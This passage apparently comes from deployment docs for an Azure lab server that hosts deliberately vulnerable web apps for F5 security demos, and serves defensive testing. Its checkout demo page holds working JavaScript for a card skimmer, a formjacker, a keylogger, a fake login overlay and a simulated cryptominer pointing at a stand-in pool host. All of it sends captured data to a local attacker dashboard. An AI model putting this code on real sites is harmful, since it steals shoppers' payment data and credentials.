proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /dvga/ {
proxy_pass http://dvga_graphql/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /restaurant/ {
proxy_pass http://restaurant/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 8888;
server_name _;
location /health {
access_log off;
return 200 '{"status":"healthy","component":"crapi"}';
add_header Content-Type application/json;
}
location / {
proxy_pass http://127.0.0.1:18888;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
- path: /var/www/html/index.html
content: |
<!DOCTYPE html>
<html>
<head><title>Origin Server</title></head>
<body>
<h1>Origin Server</h1>
<p>Vulnerable web application origin server for F5 XC demo environments.</p>
<ul>
<li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li>
<li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li>
<li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li>
<li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li>
<li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li>
<li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li>
<li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li>
<li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li>
<li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li>
</ul>
<p><a href="/health">Health Check</a></p>
</body>
</html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile
content: |
FROM ghcr.io/digininja/dvwa:latest AS dvwa-src
FROM php:8-fpm
RUN apt-get update && apt-get install -y --no-install-recommends nginx \
libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install mysqli pdo pdo_mysql gd \
&& rm -rf /var/lib/apt/lists/*
COPY --from=dvwa-src /var/www/html /var/www/html
RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \
&& chown -R www-data:www-data /var/www/html
COPY nginx.conf /etc/nginx/sites-available/default
RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default
COPY www.conf /usr/local/etc/php-fpm.d/www.conf
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 80
CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf
content: |
server {
listen 80;
server_name _;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_read_timeout 30;
fastcgi_buffer_size 32k;
fastcgi_buffers 16 32k;
}
}
- path: /opt/origin-server/dvwa-fpm/www.conf
content: |
[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 32
pm.start_servers = 8
pm.min_spare_servers = 4
pm.max_spare_servers = 16
pm.max_requests = 200
request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh
permissions: "0755"
content: |
#!/bin/sh
sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php
php-fpm -D
nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh
permissions: "0755"
content: |
#!/bin/sh
cd /vampi
pip install -q gunicorn 2>/dev/null
python -c "
from config import db, vuln_app
with vuln_app.app.app_context():
db.create_all()
"
exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile
content: |
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask gunicorn gevent
COPY app.py .
COPY templates/ templates/
EXPOSE 5001
CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py
content: |
from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/")
def checkout():
return render_template("checkout.html")
@app.route("/dashboard")
def dashboard():
return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"])
def exfil():
entry = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"source_ip": request.remote_addr,
"user_agent": request.headers.get("User-Agent", ""),
"attack_type": request.args.get("type", "unknown"),
}
if request.is_json:
entry["payload"] = request.get_json(silent=True)
elif request.args.get("d"):
entry["payload"] = request.args.get("d")
else:
entry["payload"] = request.get_data(as_text=True)
exfiltrated_data.append(entry)
return jsonify({"status": "received"})
@app.route("/exfil/log")
def exfil_log():
return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"])
def exfil_clear():
exfiltrated_data.clear()
return jsonify({"status": "cleared"})
@app.route("/health")
def health():
return jsonify(
{
"status": "healthy",
"component": "csd-demo",
"attacks": [
"skimmer",
"formjacker",
"keylogger",
"cryptominer",
"dom-hijack",
],
}
)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ShopDemo - Checkout</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; }
.attack-panel .card { border: 2px solid #dc3545; }
.attack-toggle { cursor: pointer; }
.attack-active { background-color: #f8d7da; }
.exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999;
background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; }
.exfil-indicator.show { display: block; animation: pulse 1s infinite; }
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
.product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px;
display: flex; align-items: center; justify-content: center; font-size: 2rem; }
</style>
</head>
<body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) -->
<div class="attack-panel" id="attackPanel">
<div class="card shadow">
<div class="card-header bg-danger text-white d-flex justify-content-between align-items-center">
<strong>Attack Simulator</strong>
<button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button>
</div>
<div class="card-body" id="panelBody">
<p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer">
<label class="form-check-label" for="toggleSkimmer">
<strong>Card Skimmer</strong><br>
<small class="text-muted">Steals CC data on form submit (Magecart)</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker">
<label class="form-check-label" for="toggleFormjacker">
<strong>Formjacker</strong><br>
<small class="text-muted">Hijacks form action to attacker endpoint</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger">
<label class="form-check-label" for="toggleKeylogger">
<strong>Keylogger</strong><br>
<small class="text-muted">Captures keystrokes in real time</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer">
<label class="form-check-label" for="toggleCryptominer">
<strong>Cryptominer</strong><br>
<small class="text-muted">Simulates CPU-intensive mining script</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack">
<label class="form-check-label" for="toggleDomHijack">
<strong>DOM Hijack</strong><br>
<small class="text-muted">Injects fake overlay form to steal PII</small>
</label>
</div>
<hr>
<div class="d-flex gap-2">
<a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a>
<button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button>
</div>
<div id="exfilCount" class="mt-2 text-muted small"></div>
</div>
</div>
</div>
<!-- Exfiltration Indicator -->
<div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page -->
<div class="container py-5" style="max-width: 960px;">
<div class="text-center mb-4">
<h2>ShopDemo Checkout</h2>
<p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p>
</div>
<!-- Order Summary -->
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Order Summary</h5>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128187;</div>
<div class="flex-grow-1">
<strong>Premium Widget Pro</strong><br>
<small class="text-muted">SKU: WDG-PRO-2024 &middot; Qty: 1</small>
</div>
<strong>$149.99</strong>
</div>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128225;</div>
<div class="flex-grow-1">
<strong>Widget Accessory Pack</strong><br>
<small class="text-muted">SKU: WDG-ACC-100 &middot; Qty: 2</small>
</div>
<strong>$39.98</strong>
</div>
<hr>
<div class="d-flex justify-content-between">
<span>Subtotal</span><span>$189.97</span>
</div>
<div class="d-flex justify-content-between">
<span>Shipping</span><span>$9.99</span>
</div>
<div class="d-flex justify-content-between">
<span>Tax</span><span>$16.15</span>
</div>
<hr>
<div class="d-flex justify-content-between">
<strong>Total</strong><strong>$216.11</strong>
</div>
</div>
</div>
<!-- Checkout Form -->
<form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Billing Information</h5>
<div class="row g-3">
<div class="col-md-6">
<label for="firstName" class="form-label">First name</label>
<input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required>
</div>
<div class="col-md-6">
<label for="lastName" class="form-label">Last name</label>
<input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required>
</div>
<div class="col-12">
<label for="email" class="form-label">Email</label>
<input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required>
</div>
<div class="col-12">
<label for="phone" class="form-label">Phone</label>
<input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567">
</div>
<div class="col-12">
<label for="address" class="form-label">Address</label>
<input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required>
</div>
<div class="col-md-5">
<label for="city" class="form-label">City</label>
<input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required>
</div>
<div class="col-md-4">
<label for="state" class="form-label">State</label>
<input type="text" class="form-control" id="state" name="state" placeholder="WA" required>
</div>
<div class="col-md-3">
<label for="zip" class="form-label">ZIP</label>
<input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required>
</div>
<div class="col-12">
<label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label>
<input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX">
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Payment Details</h5>
<div class="row g-3">
<div class="col-12">
<label for="ccName" class="form-label">Name on card</label>
<input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required>
</div>
<div class="col-12">
<label for="ccNumber" class="form-label">Card number</label>
<input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required>
</div>
<div class="col-md-4">
<label for="ccExpiry" class="form-label">Expiration</label>
<input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required>
</div>
<div class="col-md-4">
<label for="ccCvv" class="form-label">CVV</label>
<input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required>
</div>
</div>
</div>
</div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button>
</form>
<p class="text-center text-muted small">
This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing.
No real transactions are processed. All data stays on this server.
</p>
</div>
<!-- DOM Hijack Overlay (hidden by default) -->
<div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%;
background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;">
<div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;">
<h5 style="color:#dc3545;">Session Expired</h5>
<p>Please re-enter your credentials to continue:</p>
<input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username">
<input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password">
<input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification">
<button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button>
</div>
</div>
<script>
const EXFIL_URL = "/exfil";
let activeAttacks = {};
let keystrokeBuffer = "";
let keystrokeTimer = null;
let miningInterval = null;
function flashExfil() {
const el = document.getElementById("exfilIndicator");
el.classList.add("show");
setTimeout(() => el.classList.remove("show"), 2000);
}
function exfiltrate(type, data) {
flashExfil();
fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
});
updateCount();
}
function updateCount() {
fetch("/exfil/log").then(r => r.json()).then(d => {
document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured";
});
}
// ── Card Skimmer (Magecart-style) ──
function enableSkimmer() {
document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler);
}
function disableSkimmer() {
document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler);
}
function skimmerHandler(e) {
const form = e.target;
const data = {};
new FormData(form).forEach((v, k) => { data[k] = v; });
exfiltrate("skimmer", {
description: "Magecart card skimmer — captured payment data on form submit",
card_number: data.ccNumber,
card_name: data.ccName,
card_expiry: data.ccExpiry,
card_cvv: data.ccCvv,
email: data.email,
billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip
});
}
// ── Formjacker ──
let originalAction = null;
function enableFormjacker() {
const form = document.getElementById("checkoutForm");
originalAction = form.action;
form.action = EXFIL_URL + "?type=formjacker";
form.method = "POST";
}
function disableFormjacker() {
if (originalAction) {
document.getElementById("checkoutForm").action = originalAction;
}
}
// ── Keylogger ──
function enableKeylogger() {
document.addEventListener("keydown", keylogHandler);
}
function disableKeylogger() {
document.removeEventListener("keydown", keylogHandler);
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeBuffer = "";
}
function keylogHandler(e) {
const target = e.target;
const fieldId = target.id || target.name || "unknown";
keystrokeBuffer += e.key;
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeTimer = setTimeout(() => {
exfiltrate("keylogger", {
description: "JavaScript keylogger — real-time keystroke capture",
field: fieldId,
keystrokes: keystrokeBuffer
});
keystrokeBuffer = "";
}, 1500);
}
// ── Cryptominer (simulated) ──
function enableCryptominer() {
exfiltrate("cryptominer", {
description: "Cryptominer script loaded — simulating CPU-intensive mining",
pool: "stratum+tcp://evil-pool.example.com:3333",
wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...",
status: "mining_started"
});
miningInterval = setInterval(() => {
let x = 0;
for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); }
}, 100);
}
function disableCryptominer() {
if (miningInterval) { clearInterval(miningInterval); miningInterval = null; }
}
// ── DOM Hijack ──
function enableDomHijack() {
setTimeout(() => {
document.getElementById("domHijackOverlay").style.display = "flex";
exfiltrate("dom-hijack", {
description: "DOM manipulation — injected fake credential overlay",
technique: "overlay_phishing",
status: "overlay_displayed"
});
}, 3000);
}
function disableDomHijack() {
document.getElementById("domHijackOverlay").style.display = "none";
}
function submitHijack() {
exfiltrate("dom-hijack", {
description: "DOM hijack — victim submitted credentials to fake overlay",
username: document.getElementById("hijackUser").value,
password: document.getElementById("hijackPass").value,
card: document.getElementById("hijackCC").value
});
document.getElementById("domHijackOverlay").style.display = "none";
}
// ── Toggle handlers ──
const attacks = {
toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer },
toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker },
toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger },
toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer },
toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack }
};
Object.keys(attacks).forEach(id => {
document.getElementById(id).addEventListener("change", function() {
if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); }
});
});
function togglePanel() {
const body = document.getElementById("panelBody");
body.style.display = body.style.display === "none" ? "block" : "none";
}
function clearLog() {
fetch("/exfil/clear", { method: "POST" }).then(() => updateCount());
}
updateCount();
</script>
</body>
</html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Attacker Dashboard - Exfiltrated Data</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; }
.card { background: #16213e; border-color: #0f3460; }
.card-header { background: #0f3460; }
.badge-skimmer { background: #dc3545; }
.badge-formjacker { background: #fd7e14; }
.badge-keylogger { background: #ffc107; color: #000; }
.badge-cryptominer { background: #198754; }
.badge-dom-hijack { background: #6f42c1; }
pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; }
.header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="header-bar text-center">
<h4 class="text-white mb-0">Attacker C&amp;C Dashboard</h4>
<small class="text-white-50">Exfiltrated data from CSD demo checkout page</small>
</div>
<div class="container-fluid px-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h5>Captured Data ({{ entries|length }} entries)</h5>
<div>
<button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button>
<button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button>
</div>
</div>
{% if entries %}
{% for entry in entries|reverse %}
<div class="card mb-3">
<div class="card-header d-flex justify-content-between align-items-center">
<span>
<span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span>
{{ entry.timestamp }}
</span>
<small>{{ entry.source_ip }}</small>
</div>
<div class="card-body">
<pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre>
</div>
</div>
{% endfor %}
{% else %}
<div class="text-center py-5">
<h5 class="text-muted">No data captured yet</h5>
<p class="text-muted">Enable attacks on the checkout page and interact with the form.</p>
</div>
{% endif %}
</div>
<script>
function clearAndReload() {
fetch("/exfil/clear", { method: "POST" }).then(() => location.reload());
}
setTimeout(() => location.reload(), 5000);
</script>
</body>
</html>
- path: /usr/local/lib/cloud-init-helpers.sh
permissions: "0644"
content: |
#!/bin/sh
PROGRESS_LOG="/var/log/cloud-init-progress.log"
log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; }
retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; }
fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; }
install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; }
clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; }
wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; }
wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd:
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "init" "origin-server provisioning started"
# Enable sysstat collection (sar history)
- sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat
- systemctl enable sysstat
- systemctl restart sysstat
# Kernel tuning
- sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1
# Docker
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-install" "installing Docker Engine"
install -m 0755 -d /etc/apt/keyrings
fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key"
chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list
retry_cmd 3 10 apt-get update
install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
systemctl enable docker
systemctl start docker
log_phase "docker-install" "Docker Engine installed"
- systemctl daemon-reload
- ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server
- rm -f /etc/nginx/sites-enabled/default
- nginx -t || exit 1
- systemctl enable nginx
# Clone RESTaurant API repo for build
- apt-get install -y git
- |
. /usr/local/lib/cloud-init-helpers.sh
clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant
# Build custom images and start all containers
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-build" "building custom images"
cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1
log_phase "docker-up" "starting 41 containers"
cd /opt/origin-server && docker compose up -d || exit 1
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "health-check" "waiting for application containers"
for ctr in crapi-postgres crapi-mongo crapi-mailhog; do
wait_for_docker_health "$ctr" 120
done
for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do
wait_for_docker_health "$ctr" 180
done
wait_for_http "http://127.0.0.1:3001" 120 "juice-shop"
wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi"
wait_for_http "http://127.0.0.1:8201" 120 "httpbin"
wait_for_http "http://127.0.0.1:8082" 120 "whoami"
log_phase "health-check" "all containers ready"
# DVWA database setup (create tables via HTTP setup endpoint)
- |
for i in $(seq 1 30); do
docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break
sleep 2
done
- |
. /usr/local/lib/cloud-init-helpers.sh
TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1)
if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else
curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup
fi
- systemctl restart nginx
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "complete" "origin-server provisioned"

outputs.tf expone 25 salidas siguiendo el Estándar de Recursos de demostración — 15 salidas estándar compartidas por todos los recursos de demostración (deployer, public_ip, private_ip, ssh_command, resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component, environment, resource_group_id, vm_id, nsg_id, location) más 10 URLs de aplicaciones específicas de componentes (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url, httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):

# ---------------------------------------------------------
# Standard Outputs (present in every demo resource)
# ---------------------------------------------------------
output "deployer" {
description = "Resolved deployer identifier"
value = local.deployer
}
output "resource_group_name" {
description = "Name of the resource group"
value = azurerm_resource_group.main.name
}
output "resource_group_id" {
description = "Resource ID of the resource group"
value = azurerm_resource_group.main.id
}
output "location" {
description = "Azure region"
value = azurerm_resource_group.main.location
}
output "public_ip" {
description = "Public IP address of the VM"
value = azurerm_public_ip.main.ip_address
}
output "private_ip" {
description = "Private IP address of the VM"
value = azurerm_network_interface.main.private_ip_address
}
output "ssh_command" {
description = "SSH command to connect to the VM"
value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"
}
output "vm_name" {
description = "Name of the virtual machine"
value = azurerm_linux_virtual_machine.main.name
}
output "vm_id" {
description = "Resource ID of the virtual machine"
value = azurerm_linux_virtual_machine.main.id
}
output "nsg_name" {
description = "Name of the network security group"
value = azurerm_network_security_group.main.name
}
output "nsg_id" {
description = "Resource ID of the network security group"
value = azurerm_network_security_group.main.id
}
output "vnet_name" {
description = "Name of the virtual network"
value = azurerm_virtual_network.main.name
}
output "subnet_id" {
description = "Resource ID of the subnet"
value = azurerm_subnet.main.id
}
output "component" {
description = "Component name"
value = local.component
}
output "environment" {
description = "Environment label"
value = var.environment
}
# ---------------------------------------------------------
# Component-Specific Outputs
# ---------------------------------------------------------
output "origin_url" {
description = "Base HTTP URL of the origin server"
value = "http://${azurerm_public_ip.main.ip_address}"
}
output "health_check_url" {
description = "Health check endpoint"
value = "http://${azurerm_public_ip.main.ip_address}/health"
}
output "juice_shop_url" {
description = "OWASP Juice Shop URL"
value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"
}
output "dvwa_url" {
description = "DVWA URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"
}
output "vampi_url" {
description = "VAmPI URL"
value = "http://${azurerm_public_ip.main.ip_address}/vampi/"
}
output "httpbin_url" {
description = "httpbin URL"
value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"
}
output "whoami_url" {
description = "whoami request diagnostics URL"
value = "http://${azurerm_public_ip.main.ip_address}/whoami/"
}
output "dvga_url" {
description = "DVGA GraphQL security URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvga/"
}
output "restaurant_url" {
description = "RESTaurant API security URL"
value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"
}
output "crapi_url" {
description = "crAPI microservices security URL"
value = "http://${azurerm_public_ip.main.ip_address}:8888"
}

Copie terraform.tfvars.example a terraform.tfvars y complete sus valores. El .gitignore excluye terraform.tfvars para evitar confirmar credenciales:

# Copy this file to terraform.tfvars and fill in your values.
# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---
subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---
# deployer = "" # auto-resolved from Azure AD
# location = "eastus2"
# environment = "lab"
# vm_size = "Standard_D16s_v3"
# disk_size_gb = 60
# admin_username = "azureuser"
# ssh_public_key_path = "~/.ssh/id_ed25519.pub"
# tags = {}
Ventana de terminal
cp terraform.tfvars.example terraform.tfvars
# Edit terraform.tfvars with your Azure subscription ID and SSH key path
terraform init
terraform plan
terraform apply

Terraform muestra la IP pública, el comando SSH y las URLs de las aplicaciones tras un despliegue exitoso.

Una vez que terraform apply finalice, espere entre 5 y 10 minutos para que cloud-init termine de instalar Docker, descargar las imágenes de contenedores y configurar nginx. Las descargas de imágenes Docker son el cuello de botella — Juice Shop por sí solo ocupa ~400 MiB.

Verifique el endpoint de salud:

Ventana de terminal
curl -s "http://$(terraform output -raw public_ip)/health" | jq .

Respuesta esperada:

{
"status": "healthy",
"component": "origin-server",
"applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]
}

DVWA requiere una inicialización única de la base de datos. Abra http://<PUBLIC_IP>/dvwa/setup.php en un navegador y haga clic en Create / Reset Database. Las credenciales predeterminadas son admin / password.

Tras el despliegue, otros componentes utilizan las salidas del servidor de origen como sus entradas:

Ventana de terminal
# CDN Simulator — pass origin-server's public IP as its upstream
cd ../cdn-simulator/terraform
origin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)
cat > terraform.tfvars <<EOF
